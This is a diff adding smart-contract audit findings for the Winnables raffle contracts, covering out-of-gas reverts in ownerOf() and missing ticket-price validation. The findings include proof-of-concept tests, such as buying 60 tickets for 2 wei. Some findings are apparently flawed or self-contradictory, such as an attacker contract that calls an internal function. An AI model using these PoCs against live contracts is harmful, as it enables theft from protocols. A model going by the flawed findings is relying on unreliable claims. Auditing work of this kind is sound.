`WinnablesTicket:ownerOf()` to revert. +2. When Chainlink VRF triggers the `WinnablesTicketManager::fulfillRandomWords()` function, the random number must be farther from the first purchased ticket than `13000`, which was the value used in the PoC. + +### External pre-conditions + +- The only precondition is that the admin must set up the raffle by locking the prize in `WinnablesPrizeManager`, as is required for any other raffle. + +### Attack Path + +1. A user will buy too many tickets at once using the `WinnablesTicketManager::buyTickets()` function. + +### Impact + +- The user who purchased tickets is unable to claim the raffle prize they won. +- Additionally, the user cannot receive a refund, leaving the prize permanently locked in the contract because the status was already set to `RaffleStatus.FULFILLED` by the Chainlink VRF callback. + +### PoC + + +The following test shows how `WinnablesTicket::ownerOf()` exceeds the gas block limit after user buys `13000` tickets. This function is internally called when propagating the winner. + +```js +const { ethers } = require("hardhat"); +const { expect } = require("chai"); +const { ccipDeployTicketManager } = require("../utils/demo"); + +describe("Testing gas block limit", () => { + let signers; + let manager; + let ticket; + let winnablesDeployer; + let numberOfTickets = 13000; + + before(async () => { + signers = await ethers.getSigners(); + const result = await ccipDeployTicketManager(); + winnablesDeployer = signers[0]; + manager = result.ticketManager; + ticket = result.ticket; + }); + + it(`Mints ${numberOfTickets} tickets`, async () => { + await (await ticket.setRole(signers[0].address, 1, true)).wait(); + const { events } = await ( + await ticket.mint(signers[1].address, 1, numberOfTickets) + ).wait(); + }); + + it(`Checks if ticket ${ + numberOfTickets - 1 + } belongs to its owner`, async () => { + const ticketOwner = await ticket.ownerOf(1, numberOfTickets - 1); + expect(ticketOwner).to.eq(signers[1].address); + }); +}); +``` + +### Mitigation + +Limit the `maxTickets` value in `WinnablesTicketManager::createRaffle()` to a lower number, such as `type(uint8).max`, to ensure that calling `WinnablesTicketManager::propagateRaffleWinner()` not only avoids reverting but also remains cost-efficient. \ No newline at end of file diff --git a/005/339.md b/005/339.md new file mode 100644 index 0000000..6e7804f --- /dev/null +++ b/005/339.md @@ -0,0 +1,81 @@ +Prehistoric Metal Rabbit + +Medium + +# Out-of-gas revert in `WinnablesTicket.ownerOf()` may prevent raffles from settling, locking prizes in the Manager + +### Summary + +`WinnablesTicket.ownerOf()` has a potentially lengthy while loop that reads through storage. We show a scenario where if a winner have bought too many tickets, they may be unable to claim their winnings + +### Root Cause + + +We examine the function `ownerOf()`: + +```solidity +function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + // ... + while (_ticketOwnership[id][ticketId] == address(0)) { // @audit storage-read loop + unchecked { --ticketId; } + } + // ... +} +``` + +It finds the owner of a ticket by looping backwards until finding a match. For example, if: +- Alice owns tokens 0, 1, 2, 3, 4 +- Bob owns tokens 5, 6, 7 +- Charlie owns tokens 8, 9, 10, 11 + +Then `_ticketOwnership[0] = Alice`, `_ticketOwnership[5] = Bob`, `_ticketOwnership[8] = Charlie`, all other ownerships are `address(0)`. + +The Avalance block gas limit is 15 million gas. Each storage read costs 2100 gas, which allows room for about ~7142 storage reads. Offsetting the intrinsic gas cost and other gas costs, we can estimate the number to be about 7100. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472 + +Per the contest README, on the limit of the number of tickets: + +> `WinnablesTicketManager::buyTickets()` take a `uint16` argument for `ticketCount`. That means the maximum number of tickets that can be purchased in a single transaction is `type(uint16).max` + +The maximum value of the `uint16` type is $2^{16} - 1 = 65535$, i.e. much larger than the upper limit of storage reads. Furthermore, note that the maximum supply is `uint32`. When `propagateRaffleWinner()` is called, it then internally calls into `_getWinnerByRequestId()`, which calls into the `IWinnablesTicket(TICKETS_CONTRACT).ownerOf()` which will revert due to OOG if the player has bought too many tickets at once. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L338 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L476 + +Then propagation of results will be unsuccessful, and the prize will be stuck on the Ethereum Mainnet side without methods to retrieve it. + + +### Internal pre-conditions + +- The winner has to have bought more than $7100$ (approx.) ticket in one tx. The winning ticket should be anything with an ID of $7100$ or more within its consecutive interval. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Winner may not be able to withdraw their rewards due to OOG. Since the admin also cannot withdraw the rewards, they are permanently stuck in the contract. + +Breaks the following invariant in the README: +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +As the Winnables admin can accept a signature to buy a large number of tickets from any participant. + +### PoC + +_No response_ + +### Mitigation + +A proposed solution is that: +- When a new range of ticket is minted, push the first ticket's ID into a storage array. +- In `ownerOf()`, binary search for the first ticket ID that is lower or equal to the ticket being looked up. Then return `_ticketOwnership` of the found ticket. + +Note that this is possible because the IDs array is sorted in ascending order. \ No newline at end of file diff --git a/005/349.md b/005/349.md new file mode 100644 index 0000000..f818974 --- /dev/null +++ b/005/349.md @@ -0,0 +1,81 @@ +Custom Rosewood Bear + +Medium + +# The `WinnablesTicket.ownerOf` function might always revert with Out-of-Gas for certain tickets leading to loss of funds + +### Summary + +The `WinnablesTicket` contract stores the owner of tickets only at the start id on minting. The `WinnablesTicket.ownerOf` function iterates backwards to the start id to find the owner of the target id. Each iteration costs approximate gas of `2349`. Considering the block gas limit of `15 million` for Avalanche C-Chain, the maximum iterations permitted will be approximately `6385`. + +The protocol allows users to buy upto `type(uint16).max` at a time. As a result, if a user buys more than `6385` tickets and the winning ticket is one of the last ones than the `ownerOf` function will always revert. + +The `WinnablesTicketManager._getWinnerByRequestId` calls the `ownerOf` function to determine the winner and is used in the `WinnablesTicketManager.propagateRaffleWinner`. The `propagateRaffleWinner` unlocks the ETH raised from ticket sales and sends the winner message. + +Because the `ownerOf` function fails in the mentioned cases, the prize money and the funds from ticket sales for these raffles will get stuck in the contracts. + +Note the gas used for other operations in the `propagateRaffleWinner` further reduce the limit from `6385`. + +### Root Cause + +The [`WinnablesTicket.ownerOf`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93-L99) function iterates in a loop and might require gas more than the block gas limit of the Avalanche chain leading to DoS + +### Internal pre-conditions + +1. User buys more than ~6385 tickets in a single call and the winner is a ticket at the end after the `6385` tickets in the lot. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User buys tickets 10,001 to 17000 (total 7000 tickets) in a single call + - The `WinnablesTicket` contract sets the owner only for ticket `10,001` +2. The ticket number 16900 wins the raffle +3. The `propagateWinnerRaffle` function is called to declare winner and unlock the funds. + - The `propagateWinnerRaffle` function calls the `WinnablesTicket.ownerOf` function which iterates from `16900` ticket till the `10,001` ticket to find the owner. + - The gas required for the operation exceeds the block gas limit (15 million) and the operation cannot be executed. +4. The prize money and the ETH from ticket sales are indefinitely locked + +### Impact + +The winner loses the prize money for the raffle and the protocol loses the ETH raised from the ticket sales + +### PoC + +```solidity +// Not a PoC, used this to measure the gas costs +contract Test { + mapping(uint256 raffleId => mapping(uint256 ticketId => address owner)) private _ticketOwnership; + + function setOwner(uint256 id, uint256 ticketId, uint256 diff) public { + uint256 s = ticketId - diff; + _ticketOwnership[id][s] = msg.sender; + } + + function delOwner(uint256 id, uint256 ticketId, uint256 diff) public { + uint256 s = ticketId - diff; + delete _ticketOwnership[id][s]; + } + + function ownerOf(uint256 id, uint256 ticketId, uint256 startTicketId) public view returns (uint256) { + uint gasStart = gasleft(); + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + uint gasEnd = gasleft(); + + // uint gasConsumed = gasStart - gasEnd; + // uint numTickets = ticketId - startTicketId; + // assert(gasConsumed ~= 2349*(numTickets - 1) + 2331); + return gasStart - gasEnd; + } +} +``` + +### Mitigation + +Determine maximum number of tickets that can be purchased that does not cause the Out-of-Gas exception and use that as the upper bound in the `WinnabelsTicketManager.buyTickets`. + +Additionally, consider storing the start id in an array while minting the tickets and use a binary search algorithm purposed for this case. \ No newline at end of file diff --git a/005/363.md b/005/363.md new file mode 100644 index 0000000..518a238 --- /dev/null +++ b/005/363.md @@ -0,0 +1,76 @@ +Petite Orange Jaguar + +High + +# Out of gas when determining raffle winner + +### Summary + +There will potentially be an out of gas issue when determining the raffle winner, because the ownerOf function in `WinnablesTicket` uses naive iteration over binary search. + +### Root Cause + +In `WinnablesTicket.sol`, the ownerOf function looks like the following: + +```solidity + function ownerOf( + uint256 id, + uint256 ticketId + ) public view returns (address) { + // @audit: this is clearly a massive grief b/c gas / time complexity + if (ticketId >= _supplies[id]) { + revert InexistentTicket(); + } + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { + --ticketId; + } + } + return _ticketOwnership[id][ticketId]; + } +``` + +Let's say that someone has bought an extremely high (`10^9`) number of tickets, and they have won the prize. In this case, we will have to iterate through potentially `10^9` values and access the _ticketOwnership mapping before we are able to determine the owner. This takes way more than the block gas limit of `15000000` on Avalanche. Even at a much lower number of tickets (e.g. a couple million), this would be extremely problematic. + +This has many upstream effects; for example, this can cause out of gas in `propagateRaffleWinner` in `WinnablesTicketManager` which needs to determine the winner and then send a CCIP message, leading to breakage of core protocol functionality and loss of prize for the winner. `propagateRaffleWinner` uses `_getWinnerByRequestId` which uses the above `ownerOf` function. + +Code snippets: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. The winner is someone who bought a lot of tickets, so a lot of iterations are required for the ownerOf function + +### Attack Path + +_No response_ + +### Impact + +1. Breakage of core protocol functionality since winner cannot be determined with the given gas and therefore cannot be communicated to the L1 through CCIP +2. Loss of ability for the winner to claim prize + +### PoC + +```javascript + +it('Demonstration of gas issues', async () => { + await (await ticket.setRole(signers[0].address, 1, true)).wait(); + const { events } = await (await ticket.mint(signers[1].address, 1, 100000000)).wait(); + const drawWinnerReceipt = await (await manager.drawWinner(1)).wait(); + const { requestId } = drawWinnerReceipt.events[1].args; + await (await coordinator.fulfillRandomWordsWithOverride(requestId, manager.address, [randomWord()])).wait(); + expect(await manager.getWinner(1)).to.eq(signers[1].address); +}) + +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/005/398.md b/005/398.md new file mode 100644 index 0000000..767d2d8 --- /dev/null +++ b/005/398.md @@ -0,0 +1,84 @@ +Huge Fossilized Turtle + +Medium + +# Users buying too many tickets will DoS them and the protocol if they are the winner due to OOG + +### Summary + +`WinnablesTicket` stores `nft` ownership by setting the first minted nft id ownership to the user minting and all the next minted nfts remain as `0`. This means it always costs the same to mint, but the `ownerOf()` function becomes much more expensive, to the point where it may cause OOG errors. In this case, the user is able to buy tickets via [WinnablesTicketManager::buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182), the draw is made in [WinnablesTicketManager::drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310) and the chainlink request is fulfilled with the winner in [WinnablesTicketManager::fulfillRandomWords()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350). However, in [WinnablesTicketManager::propagateWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334), it reverts due to OOG when calling [WinnablesTicket::ownerOf()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L97-L99). + +### Root Cause + +In `WinnablesTicket:97-99`, it may run out of gas if enough tickets were bought. + +### Internal pre-conditions + +1. Admin sets max holdings and max tickets to a number of at least 4000 or simillar. + +### External pre-conditions + +None. + +### Attack Path + +1. Users by tickets via WinnablesTicketManager::buyTickets()` +2. The draw is made in `WinnablesTicketManager::drawWinner()` +3. The chainlink request is fulfilled with the winner in `WinnablesTicketManager::fulfillRandomWords()] +4. In `WinnablesTicketManager::propagateWinner()`, it reverts due to OOG when calling `WinnablesTicket::ownerOf()`. + +### Impact + +DoSed winner and protocol `ETH` from the raffle. + +### PoC + +The following test costs 9 million gas, more than the block limit on Avalanche. + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {WinnablesPrizeManager, LinkTokenInterface} from "contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicket} from "contracts/WinnablesTicket.sol"; +import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol"; +import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol"; + +contract WinnablesPrizeManagerTest is Test { + WinnablesPrizeManager public winnablesPrizeManager; + WinnablesTicket public winnablesTicket; + LinkTokenInterface public link; + IRouterClient public router; + address public owner; + + + function setUp() public { + vm.createSelectFork(vm.envString("ETHEREUM_RPC_URL")); + link = LinkTokenInterface(0x514910771AF9Ca656af840dff83E8264EcF986CA); + router = IRouterClient(0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D); + owner = makeAddr("owner"); + + vm.prank(owner); + winnablesPrizeManager = new WinnablesPrizeManager(address(link), address(router)); + + vm.prank(owner); + winnablesTicket = new WinnablesTicket(); + } + + function test_POC_OwnerOfDos() public { + vm.prank(owner); + winnablesTicket.setRole(owner, 1, true); + + vm.prank(owner); + winnablesTicket.mint(owner, 1, 4000); + + winnablesTicket.ownerOf(1, 3999); + } +} + +``` + +### Mitigation + +Set a reasonable cap for max holdings. \ No newline at end of file diff --git a/005/413.md b/005/413.md new file mode 100644 index 0000000..79c8238 --- /dev/null +++ b/005/413.md @@ -0,0 +1,115 @@ +Damaged Sable Guppy + +High + +# Won prizes may get permanently locked due to out-of-gas reverts + +### Summary + +Implementation of [WinnablesTicket::ownerOf](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93-L101) is prone to out-of-gas reverts, thus causing permanent locking of the prize, which the rightful winner won't be able to receive. + +### Root Cause + + +[WinnablesTicket::ownerOf](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93-L101) performs a backward iteration over ticket numbers starting from the winning ticket number and till the starting number of the batch of bought tickets: + +```solidity +while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } +} +``` + +The function above is called in `WinnablesTicketManager` from [propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) via [_getWinnerByRequestId](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477); thus the revert in `WinnablesTicket::ownerOf` will cause the raffle winner not propagated, and the winner won't be able to claim the prize. + +### Internal pre-conditions + +1. A user buys a large enough ticket batch (>= `12608`); +2. A randomly drawn winning ticket is >= `12607` from the ticket batch start. + +These numbers seem entirely realistic because: + +- The maximum number of tickets bought is `type(uint16).max = 65535` +- There are already running / finished raffles with the numbers very close to those needed to trigger the bug, e.g. the [Long Running Raffle](https://testnet.winnables.com/competitions/18) has max tickets `60000`, out of which at the time of writing `7043` are sold, and the largest sold batch contains `4347` tickets. + + +### External pre-conditions + +none + +### Attack Path + +No attack is necessary. The bug will trigger by itself, when internal preconditions are met. + +### Impact + +Permanent locking of a prize, which the rightful winner won't be able to claim. Morever, an admin of `WinnablesPrizeManager` won't be able to recover (withdraw) the prize either, as it is locked. + +### PoC + +Apply the following diff, and run with `yarn test`: + +```diff +diff --git a/public-contracts/test/Ticket.js b/public-contracts/test/Ticket.js +index d7c2683..05dae09 100644 +--- a/public-contracts/test/Ticket.js ++++ b/public-contracts/test/Ticket.js +@@ -74,9 +74,12 @@ describe('CCIP Ticket Manager', () => { + ); + }); + ++ const numTickets = 13000; ++ const failTicket = 12607; ++ + it('Mints tickets to regular address', async () => { + await (await ticket.setRole(signers[0].address, 1, true)).wait(); +- const { events } = await (await ticket.mint(signers[1].address, 1, 1)).wait(); ++ const { events } = await (await ticket.mint(signers[1].address, 1, numTickets)).wait(); + expect(events).to.have.lengthOf(2); + expect(events[0].event).to.eq('NewTicket'); + expect(events[1].event).to.eq('TransferSingle'); +@@ -117,24 +120,24 @@ describe('CCIP Ticket Manager', () => { + }); + + it('Supports ownership query for ticket numbers', async () => { +- const ticketOwner = await ticket.ownerOf(1, 0); ++ const ticketOwner = await ticket.ownerOf(1, failTicket); + expect(ticketOwner).to.eq(signers[1].address); + }); + + it('Supports checks for ticket number existence', async () => { +- await expect(ticket.ownerOf(1, 1)).to.be.revertedWithCustomError(ticket, 'InexistentTicket'); ++ await expect(ticket.ownerOf(1, numTickets)).to.be.revertedWithCustomError(ticket, 'InexistentTicket'); + }) + + it('Supports balance queries', async () => { + expect(await ticket.balanceOf(signers[0].address, 1)).to.eq(0); +- expect(await ticket.balanceOf(signers[1].address, 1)).to.eq(1); ++ expect(await ticket.balanceOf(signers[1].address, 1)).to.eq(numTickets); + await expect(ticket.balanceOfBatch([signers[1].address], [1, 2])).to.be.revertedWithCustomError( + ticket, + 'InconsistentParametersLengths' + ); + const balances = await ticket.balanceOfBatch([signers[1].address], [1]); + expect(balances).to.have.lengthOf(1); +- expect(balances[0]).to.eq(1); ++ expect(balances[0]).to.eq(numTickets); + }); + }); + +``` + +In the above we had to generalize a couple of tests via introduction of auxiliary constants `numTickets` (number of tickets in a batch), and `failTicket` (the randomly drawn ticket, sufficiently far from the batch start). The above test fails with + +```sh + 1 failing + + 1) CCIP Ticket Manager + Ticket behaviour + Supports ownership query for ticket numbers: + Error: missing revert data in call exception; Transaction reverted without a reason string [ See: https://links.ethers.org/v5-errors-CALL_EXCEPTION ] (data="0x", transaction={"from":"0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266","gasLimit":{"type":"BigNumber","hex":"0x01bad618"},"to":"0x67d269191c92Caf3cD7723F116c85e6E9bf55933","data":"0xd9dad80d0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000313f","accessList":null}, error={"name":"ProviderError","_stack":"ProviderError: Transaction ran out of gas\n at EdrProviderWrapper.request +``` + + +### Mitigation + +Don't iterate over all ticket numbers; instead, store starting numbers of bought ticket batches in an array, and iterate over this array. \ No newline at end of file diff --git a/006.md b/006.md new file mode 100644 index 0000000..e5acd2d --- /dev/null +++ b/006.md @@ -0,0 +1,63 @@ +Sour Denim Alpaca + +Medium + +# Denial of Service (DoS) via Insufficient LINK Balance at BaseCCIPSender contract + +### Summary + +Line : https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15 + + If the contract does not hold enough LINK tokens, the _sendCCIPMessage function will revert, potentially causing a denial of service (DoS) if it is relied upon by other functions or systems. + +### Root Cause + +LINK balance management + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +Running out of gas + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +Attacker Contract +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import "./BaseCCIPSender.sol"; + +contract DoSAttacker { + BaseCCIPSender public vulnerableContract; + + constructor(address _vulnerableContract) { + vulnerableContract = BaseCCIPSender(_vulnerableContract); + } + + function triggerDoS() public { + // Attempt to send a CCIP message with minimal data + bytes memory data = "Attack"; + uint64 ccipDestChainSelector = 1; // Assume chain selector 1 is valid + address ccipDestAddress = address(0x123); // Fake destination address + + // This call will fail if the LINK balance is insufficient + vulnerableContract._sendCCIPMessage(ccipDestAddress, ccipDestChainSelector, data); + } +} + + +### Mitigation + +Monitor LINK Balances: Implement a mechanism to monitor and manage LINK balances, ensuring the contract is always sufficiently funded. +Graceful Fallback: Instead of reverting, consider a fallback mechanism that queues messages or notifies users when the balance is insufficient, rather than completely halting operations. \ No newline at end of file diff --git a/006/076.md b/006/076.md new file mode 100644 index 0000000..4aa1548 --- /dev/null +++ b/006/076.md @@ -0,0 +1,66 @@ +Main Lava Chimpanzee + +High + +# Able to buy raffle tickets cheaper due to missing validations causing protocol to lose funds + +## Summary +Users able to buy tickets at ridiculous price without paying the accurate amount +## Vulnerability Detail +In `WinnablesTicketManager.sol::buyTickets`, there is no validation on ticketCount or the price per ticketCount is the same as ether sent. +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { +``` +## Impact +Buyers can purchase tickets at significant discounts, leading to potential reward theft and profit. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L182 + +```solidity + // Replace in TicketManager.js + // it('Should be able to purchase tickets', async () => { + it('PoC: Exploit buying raffles cheaper', async () => { + await helpers.time.increase(60); + const buyer = await getWalletWithEthers(); + const currentBlock = await ethers.provider.getBlockNumber(); + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer.address, + 0, + 1, + 50, + currentBlock + 10, + 1 + ]) + )); + const sig2 = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer.address, + 1, + 1, + 10, + currentBlock + 10, + 1 + ]) + )); + await (await manager.connect(buyer).buyTickets(1, 50, currentBlock + 10, sig, { value: 1 })).wait(); + buyers.push(buyer); + await (await manager.connect(buyer).buyTickets(1, 10, currentBlock + 10, sig2,{ value: 1 })).wait(); + const { totalSpent, totalPurchased, withdrawn } = await manager.getParticipation(1, buyer.address); + console.log(totalSpent, totalPurchased, withdrawn); + expect(totalSpent).to.eq(2); + expect(totalPurchased).to.eq(60); // Able to purchase tickets for 2 Wei + expect(withdrawn).to.eq(false); + }); + ``` +## Tool used + +Manual Review + +## Recommendation +Ensure that the ticket quantity and price is checked with appropriate ether sent. \ No newline at end of file diff --git a/006/132.md b/006/132.md new file mode 100644 index 0000000..2d4899b --- /dev/null +++ b/006/132.md @@ -0,0 +1,41 @@ +Jolly Fiery Snail + +High + +# Ticket Prices are not enforced in TicketManager + +## Summary +By calling directly from contract user can purchase tickets from ticket manager with 0 ether sent. + +## Vulnerability Detail +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L181 + +For Non-Free Raffles the TicketManager assumes buyTicket is only going to be called from the frontend which enforces the ticket price, but a user can get the api signature(by copying directly from the browser console if it is exposed there, or reusing a signature from a previous purchase, or attempting to buy a ticket from the frontend without confiming the transaction and extracting from the data). Then using this signature to call directly from the contract with 0 ether sent and then pass all checks and gets the number of tickets they want. + +```solidity +function testUserPurchasesTicketsWith0Eth() public { + vm.startPrank(owner); + // raffle created with ticket price intended to be 0.1eth (not enforced in code) + winnablesTicketManager.createRaffle(0, uint64(block.timestamp), uint64(block.timestamp+ 60) , 3, 5, 3); + winnablesTicket.setRole(address(winnablesTicketManager), 1, true); + + vm.deal(address(3), 10e18); + vm.startPrank(address(3)); + + console.log(address(3).balance); + + //signature obtained offchain + bytes memory signature = ""; + //user buys 3 tickets with 0 value sent + winnablesTicketManager.buyTickets{value: 0}(0, 3, 0, signature); + } +``` + +## Impact +User gains ticket entries for free + +## Tool used +Manual Review + +## Recommendation +Inspite of how ticket prices is enforced offchain through signatures, they should also be enforced in contract logic, by requiring enough ether is sent to purchase an amount of tickets. \ No newline at end of file diff --git a/006/140.md b/006/140.md new file mode 100644 index 0000000..3d8ebcd --- /dev/null +++ b/006/140.md @@ -0,0 +1,45 @@ +Tame Shadow Jay + +High + +# Lack of ticket price validation allows arbitrary ticket purchases + +## Summary + +`WinnablesTicketManager::buyTickets` does not validate if the sent ETH (`msg.value`) is sufficient for the number of tickets being purchased. This oversight allows users to potentially buy tickets at an arbitrarily low price. + +## Vulnerability Detail + +While the documentation states that ticket pricing is handled off-chain, the contract implementation allows users with the appropriate role to directly call the `WinnablesTicketManager::buyTickets` function without enforcing the expected price. This discrepancy between the documented off-chain price management and the on-chain implementation (which requires users' input of funds via the `payable` function) creates a vulnerability where users can potentially purchase tickets at arbitrary prices. + +## Impact + +An attacker could exploit this vulnerability to purchase tickets at a fraction of their intended cost or even for free. This would allow them to: + +- Unfairly increase their chances of winning the raffle without paying the full price. +- Manipulate the raffle economics, potentially making it unprofitable for the protocol. + +## Code Snippet + +[WinnablesTicketManager.sol#L189](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L189) +[WinnablesTicketManager.sol#L407-L420](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L407-L420) + +## Tool used + +Manual Review + +## Recommendation + +Implement a price check in the `WinnablesTicketManager::_checkTicketPurchaseable` function: + +```diff +function _checkTicketPurchaseable(uint256 raffleId, uint256 ticketCount) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.startsAt > block.timestamp) revert RaffleHasNotStarted(); + if (raffle.status != RaffleStatus.IDLE) revert RaffleHasEnded(); + if (block.timestamp > raffle.endsAt) revert RaffleHasEnded(); ++ if(msg.value < raffle.pricePerTicket * ticketCount) revert InsufficientPayment(); + + // the rest of the function... +} +``` \ No newline at end of file diff --git a/006/176.md b/006/176.md new file mode 100644 index 0000000..ed4d90a --- /dev/null +++ b/006/176.md @@ -0,0 +1,38 @@ +Jolly Fiery Snail + +Medium + +# Excess ETH sent in buyTickets not refunded to users + +## Summary + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206 + +In the buyTickets function the number of tickets purchased is not compared to the msg.value passed to the function. Therefore if a user calls the buyTickets function with an ETH amount and the maximum possible number of tickets is bought, the remaining unused ether is left in the contract unrefunded. + +## Vulnerability Detail +```solidity +function testUserFundsNotRefunded() public { + ///Create raffle + + + //user buys calls buyTickets with an eth amount and hopes to mint 2 tickets + vm.deal(alice, 10e18); + console.log(alice.balance); //10e18 + winnablesTicketManager.buyTickets{value: 5e18}(1, 2, 0, signature); + + //user balance reduced by an amount greater than the price of 2 tickets, and gets no refund + console.log(alice.balance); //5e18 + console.log(winnablesTicket.balanceOf(alice, 1)); //2 + + } +``` + +## Impact +Loss of funds for the user + +## Tool used +Manual Review + +## Recommendation +Implement ticketCount calculation in the buyTickets function, and refund any unused ETH amounts to the function caller. \ No newline at end of file diff --git a/006/388.md b/006/388.md new file mode 100644 index 0000000..55b8c7d --- /dev/null +++ b/006/388.md @@ -0,0 +1,56 @@ +Shiny Peach Crocodile + +Medium + +# Missing Price Verification in `WinnablesTicketManager::buyTickets` + +## Summary + +## Vulnerability Detail +`WinnablesTicketManager.sol` lacks explicit price verification mechanisms in its ticket purchase and signature verification processes. This omission could allow for inconsistencies between the expected and actual ticket prices, potentially leading to unauthorized ticket purchases or financial discrepancies. + +In the below code snippet, it was noted that `WinnablesTicketManager::buyTickets` relies on external approval through a signature but does not check if the amount of ETH sent (msg.value) matches the expected price for the tickets. Without this check, users can potentially pay an incorrect amount, bypassing intended price controls. + +```solidity +function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature +) external payable { + ... + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + ... + // Ticket purchase logic +} +``` +The signature validation process noted in the below code snippet also does not verify if the `msg.value` (the amount of ETH sent) is correct according to the ticket price. It only ensures that the signature is valid and the nonce has not expired. + +```solidity +function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) internal view { + ... + address signer = _getSigner( + keccak256( + abi.encodePacked( + msg.sender, _userNonces[msg.sender], raffleId, ticketCount, blockNumber, msg.value + ) + ), signature + ); + ... +} +``` + +## Impact +Users could exploit the lack of price checks to purchase tickets at a price lower than intended or easily purchasing all tickets at a very low price, potentially resulting in an unfair play and significant financial losses for the raffle owner. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L448-L458 + +## Tool used +Manual Review + +## Recommendation + +Implement price verification in `buyTickets` function: Ensure that `msg.value` (amount sent by the user) matches the expected price for the number of tickets being purchased. For example, this could be done by calculating the total expected price and comparing it with `msg.value` before proceeding with the purchase logic. \ No newline at end of file diff --git a/006/586.md b/006/586.md new file mode 100644 index 0000000..2c9b99c --- /dev/null +++ b/006/586.md @@ -0,0 +1,63 @@ +Brave Mahogany Lizard + +High + +# `WinnablesTicketManager::buyTickets` function doesn't checks for `msg.value=0` condition, one can buy tickets for free. + +## Summary +No checks present in the `WinnablesTicketManager::buyTickets` function to ensure `msg.value` can't be zero, if it becomes zero then one can buy tickets for free. + +## Vulnerability Detail +The `WinnablesTicketManager::buyTickets` function : +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + 